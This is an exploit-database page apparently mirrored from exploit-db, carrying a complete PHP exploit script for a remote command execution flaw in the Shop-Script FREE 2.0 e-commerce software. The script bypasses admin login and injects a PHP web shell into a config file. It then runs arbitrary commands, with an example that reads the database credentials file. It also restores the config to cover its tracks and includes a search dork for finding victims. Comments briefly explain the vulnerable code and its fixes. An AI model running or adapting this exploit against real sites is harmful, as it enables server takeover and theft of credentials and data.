Lucene search
K

Shop-Script FREE 2.0 - Remote Command Execution

🗓️ 17 Sep 2007 00:00:00Reported by InATeamType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 49 Views

Shop-Script FREE <= 2.0 Remote Command Execution This document describes the Shop-Script FREE version 2.0 remote command execution vulnerability. It provides an exploit code and instructions to bypass admin authorization and inject arbitrary PHP code

Code
<?php
## Shop-Script FREE <= 2.0 Remote Command Execution Exploit by InATeam
## tested on versions 1.2 and 2.0
## works regardless magic_quotes_gpc=on
## Greetz: eXp, Kuzya, cxim, Russian, ENFIX

echo "--------------------------------------------------------\n";
echo "Shop-Script FREE <= 2.0 Remote Command Execution Exploit\n";
echo "(c)oded by Raz0r, InATeam (InAttack.Ru)\n";
echo "dork: \"Powered by Shop-Script FREE\"\n";
echo "--------------------------------------------------------\n";

if ($argc<2) {
echo "USAGE:\n";
echo "~~~~~~\n";
echo "php {$argv[0]} [url] [cmd]\n\n";
echo "[url] - target server where Shop-Script FREE is installed\n";
echo "[cmd] - command to execute\n\n";
echo "e.g. php {$argv[0]} http://site.com/shop/ \"ls -la\"\n";
echo "     php {$argv[0]} http://shop.site.com:8080/ \"cat 
cfg/connect.inc.php\"\n";
die;
}
/**
 * software site: http://shop-script.com/
 *
 * i) admin authorization bypass
 * vulnerable code in admin.php near lines 37-41:
 * ------------------[source code]----------------------
 * if (!isset($_SESSION["log"]) || !isset($_SESSION["pass"])) //unauthorized
 *   {
 *       //show authorization form
 *       header("Location: access_admin.php");
 *   }
 * ------------------[/source code]---------------------
 * unathorized user wiil be redirected to the page with the auth form but the script will continue running.
 * So, admin panel can be accessed by ignoring "Location" header. Solution:
 * ------------------[source code]----------------------
 * if (!isset($_SESSION["log"]) || !isset($_SESSION["pass"])) //unauthorized
 *   {
 *       //show authorization form
 *       header("Location: access_admin.php");
 *       die;
 *   }
 * ------------------[/source code]---------------------
 * ii) arbitrary php code injection
 * vulnerable code in /includes/admin/sub/conf_appearence.php near lines 29-38:
 * ------------------[source code]----------------------
 * $f = fopen("./cfg/appearence.inc.php","w");
 * fputs($f,"<?php\n\tdefine('CONF_PRODUCTS_PER_PAGE', '".str_replace("'","\'",stripslashes($_POST["productscount"]))."');\n");
 * fputs($f,"\tdefine('CONF_COLUMNS_PER_PAGE', '".str_replace("\\\"","\"",$_POST["colscount"])."');\n");
 * ...
 * fputs($f,"\tdefine('CONF_LIGHT_COLOR', '".str_replace("\\\"","\"",$_POST["lightcolor"])."');\n?>");
 * fclose($f);
 * ------------------[/source code]---------------------
 * specially formed POST data will break the config file's structure. So, it is possible to inject
 * arbitrary php code in /cfg/appearence.inc.php. Solution: filtering backslash and single quote characters.
 */
error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);

$url = $argv[1];
$cmd = $argv[2];
$url_parts = parse_url($url);
$host = $url_parts['host'];
$path = $url_parts['path'];
if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80;
$packet ="GET {$path}admin.php?dpt=conf&sub=appearence HTTP/1.0\r\n";
$packet.="Host: {$host}\r\n";
$packet.="User-Agent: InAttack evil agent\r\n";
$packet.="Connection: close\r\n\r\n";
$resp = send($packet);
echo "[~] Connecting to $host...";
$resp ? print(" OK\n") : die(" failed");
$inputnames=array("productscount","colscount","darkcolor","middlecolor","lightcolor","add2cart","bestchoice");
$matches=array();
foreach($inputnames as $input) {
    if (preg_match('@<input type=text name='.$input.' value="([^"]*)">@',$resp,$matches)) $inputvalues[$input] = urlencode($matches[1]);
    elseif (preg_match('@<input type=checkbox name='.$input.' checked>@',$resp,$matches)) $inputvalues[$input] = "on";
}
if (!isset($inputvalues) || sizeof($inputvalues)==0) die("[-] Exploit failed");
echo "[~] Sending shellcode...";
$data = makedata(1);
$packet = "POST {$path}admin.php HTTP/1.0\r\n";
$packet.= "Host: $host\r\n";
$packet.= "User-Agent: InAttack evil agent\r\n";
$packet.= "Content-Length: ".strlen($data)."\r\n";
$packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet.= "Connection: keep-alive\r\n\r\n";
$packet.= $data;
$resp = send($packet);
$resp ? print(" OK\n") : die(" failed");
echo "[~] Executing command...";
$packet ="GET {$path}index.php?cmd=".urlencode($cmd)." HTTP/1.0\r\n";
$packet.="Host: {$host}\r\n";
$packet.="User-Agent: InAttack evil agent\r\n";
$packet.="Connection: close\r\n\r\n";
$resp = send($packet);
$matches=array();
if (!preg_match('@InAttack(.*?)InAttack@s',$resp,$matches))echo("failed\n");
else (($result = $matches[1]) == 's4f3_m0d3') ? print(" failed\n[-] 
Safe_mode=On\n") : (($result == 'd1s4bl3d') ? print(" failed\n[-] 
system() is disabled\n") : printf(" OK\n%'-56s\n%s%'-56s\n",'',$result,''));
echo "[~] Restoring values...";
$data = makedata();
$packet = "POST {$path}admin.php HTTP/1.0\r\n";
$packet.= "Host: $host\r\n";
$packet.= "User-Agent: InAttack evil agent\r\n";
$packet.= "Content-Length: ".strlen($data)."\r\n";
$packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet.= "Connection: keep-alive\r\n\r\n";
$packet.= $data;
$resp = send($packet);
$resp ? print(" OK\n") : die(" failed");

function send($packet) {
    global $host,$port;
    $ock = @fsockopen(@gethostbyname($host),$port);
    if (!$ock) return false;
    else {
        fputs($ock, $packet);
        $html='';
        while (!feof($ock)) $html.=fgets($ock);
    }
    return $html;
}

function makedata($modifyvalues=0) {
    global $inputvalues;
    $shellcode = '\');if(!empty($_GET["cmd"])&&!defined("INA")){echo"InAttack";if(!ini_get("safe_mode")){if(strpos(ini_get("disable_functions"),"system")===false){$c=$_GET["cmd"];if(get_magic_quotes_gpc()){$c=stripslashes($c);}system($c);}else{echo"d1s4bl3d";}}else{echo"s4f3_m0d3";}echo"InAttack";define("INA",true);}//';
    $data = "dpt=conf&";
    $data.= "sub=appearence&";
    $data.= "save_appearence=1&";
    $data.= "productscount={$inputvalues['productscount']}";
    if ($modifyvalues==1) $data.=urlencode("\\".$shellcode)."&"; else $data.="&";
    $data.= "colscount={$inputvalues['colscount']}";
    if ($modifyvalues==1) $data.=urlencode($shellcode)."&"; else $data.="&";
    $data.= "darkcolor={$inputvalues['darkcolor']}";
    if ($modifyvalues==1) $data.=urlencode("\\\\".$shellcode)."&"; else $data.="&";
    $data.= "middlecolor={$inputvalues['middlecolor']}&";
    $data.= "lightcolor={$inputvalues['lightcolor']}&";
    $data.= "add2cart={$inputvalues['add2cart']}&";
    $data.= "bestchoice={$inputvalues['bestchoice']}";
    return $data;
}
## EOF
?>

# milw0rm.com [2007-09-17]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation